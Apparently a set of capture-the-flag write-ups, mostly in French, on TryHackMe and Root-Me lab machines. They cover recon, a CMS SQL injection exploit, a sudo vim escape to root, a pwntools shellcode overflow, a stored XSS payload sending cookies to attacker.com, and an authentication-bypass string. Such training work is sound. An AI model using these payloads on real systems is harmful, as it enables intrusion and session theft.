TryHackMe – Simple CTF
Catégorie : FTP / CMS Made Simple / Privilege escalation
CMS Made Simple sur la machine ; on trouve des identifiants qui donnent accès SSH. Avec Vim et GTFOBins on obtient root.
NMAP
Scan des ports : FTP (21), HTTP (80), SSH (2222) ouverts.
nmap -p- -sV -sC -T4 -o nmap_scan <MachineIp>
Résumé : vsftpd 3.0.3 (FTP anonyme autorisé), Apache 2.4.18, OpenSSH 7.2p2 sur 2222.
FTP
Connexion en anonyme, récupération de ForMitch.txt dans /pub :
ftp <MachineIp>
Name: anonymous
cd pub
get ForMitch.txt
Le fichier indique qu'un utilisateur système a le même mot de passe (faible) et qu'il a été cracké en quelques secondes.
HTTP – Gobuster
Énumération des répertoires :
gobuster dir -u http://<MachineIp> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 15
Découverte de /simple (301) — CMS Made Simple. La version est visible dans le footer.
CMS Made Simple – CVE-2019-9053
Injection SQL affectant ce CMS. Exploit pour extraire hash utilisateur et crack avec wordlist :
python CVE-2019-9053.py -u http://<MachineIp>/simple/ --crack -w /usr/share/wordlists/rockyou.txt
On obtient l'utilisateur mitch et son mot de passe. Les identifiants du panel CMS peuvent ne pas fonctionner ; utiliser les mêmes pour SSH.
SSH – User
Connexion avec les identifiants trouvés (port 2222) :
ssh mitch@<MachineIp> -p 2222
Récupération du flag user.txt.
Privilege escalation
Vérification des commandes autorisées sans mot de passe :
sudo -l
/usr/bin/vim est exécutable en sudo. Utiliser GTFOBins – vim pour obtenir un shell root :
sudo vim -c ':!/bin/sh'
Récupération du flag root.txt.
TryHackMe – TakeOver
Catégorie : Recon / Subdomain enumeration
Important points
This room is about subdomain enumeration. Add futurevera.thm in /etc/hosts.
I am including all the steps I took to solve this machine whether it was fruitful or not.
Check the web page
What I noticed:
- Getting SSL error.
- No interesting directory.
- Nothing interesting in the source code.
- Nothing in .js files.
- Nothing in Certificate (at this stage).
Fuzzing for subdomains using ffuf (HTTP)
ffuf -u http://{MachineIp}/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Host: FUZZ.futurevera.thm' -fs {size}
This command gave me two subdomains. Both of them had a message on the screen saying:
{subdomain}.futurevera.thm is only available via internal VPN.
Got nothing important while enumerating directories or files.
Enumerating new subdomains (HTTPS)
After trying different wordlists to fuzz the subdomain, I ran the same ffuf command but with https this time.
It gave me two new subdomains.
Nothing in directory enumeration. Nothing important in source code either. But this time, there is something in View Certificate.
Flag
Take a look at the certificates for both the subdomains: you will see one more subdomain in the Subject Alt Names.
If you don't know how to do this (Firefox):
- Click on the lock icon in the search bar with a warning sign.
- Click on Connection not secure.
- Click on More Information.
- Click on View Certificate.
Add this new found subdomain in your /etc/hosts.
curl --head https://{subdomain}.futurevera.thm
Your flag will be in the Location header.
Done.
TryHackMe – Buffer Overflow 101
Catégorie : Binary Exploitation
Contexte
Introduction aux buffer overflows sur architecture x86. Le binaire vulnérable
utilise des fonctions non sécurisées comme gets() et strcpy().
Analyse du binaire
Vérification des protections avec checksec :
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
Exploitation
Calcul de l'offset et génération du payload :
from pwn import *
offset = 76
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (offset - len(shellcode)) + p32(0xffffd5b0)
p = process('./vuln')
p.sendline(payload)
p.interactive()
Conclusion
Les protections modernes (ASLR, NX, stack canaries) rendent ces attaques
plus complexes mais pas impossibles. Toujours utiliser des fonctions sécurisées.
Root-Me – XSS Stored #1
Catégorie : Web Client
Contexte
Ce challenge présente une application web vulnérable aux attaques XSS stockées.
L'objectif est de récupérer le cookie de l'administrateur via une injection JavaScript.
Reconnaissance
L'application dispose d'un formulaire de commentaires qui affiche les messages
sans filtrage. Les entrées utilisateur sont directement insérées dans le DOM.
Exploitation
Payload utilisé pour exfiltrer le cookie :
<script>
document.location='http://attacker.com/steal?c='+document.cookie;
</script>
Impact & Conclusion
Cette vulnérabilité permet le vol de session administrateur.
Mitigation : encoder les sorties HTML et implémenter une CSP stricte.
Analyse de trafic PCAP – Credentials leak
Catégorie : Forensics
Contexte
Un fichier PCAP contenant du trafic réseau suspect. L'objectif est
d'extraire des credentials transmis en clair.
Analyse avec Wireshark
Filtrage du trafic HTTP pour identifier les requêtes POST :
http.request.method == "POST"
Identification d'une requête de login vers /api/auth avec les paramètres
username et password visibles en clair.
Extraction
Credentials récupérés :
Username: admin
Password: Sup3rS3cr3t!2024
Conclusion
Toujours utiliser HTTPS pour les transmissions sensibles.
Les protocoles en clair exposent les données à toute interception réseau.
Root-Me – SQL Injection
Catégorie : Web Server
Contexte
Une application web avec un formulaire de connexion vulnérable aux injections SQL.
L'objectif est de contourner l'authentification et récupérer le flag.
Découverte de la vulnérabilité
Test avec une simple quote dans le champ username :
admin'
L'application retourne une erreur SQL, confirmant la vulnérabilité.
Exploitation
Payload classique pour bypass l'authentification :
' OR '1'='1' --
Cette injection transforme la requête SQL en une condition toujours vraie,
permettant de se connecter sans mot de passe valide.
Conclusion
Toujours utiliser des requêtes préparées (prepared statements) pour éviter
les injections SQL. Ne jamais concaténer directement les entrées utilisateur.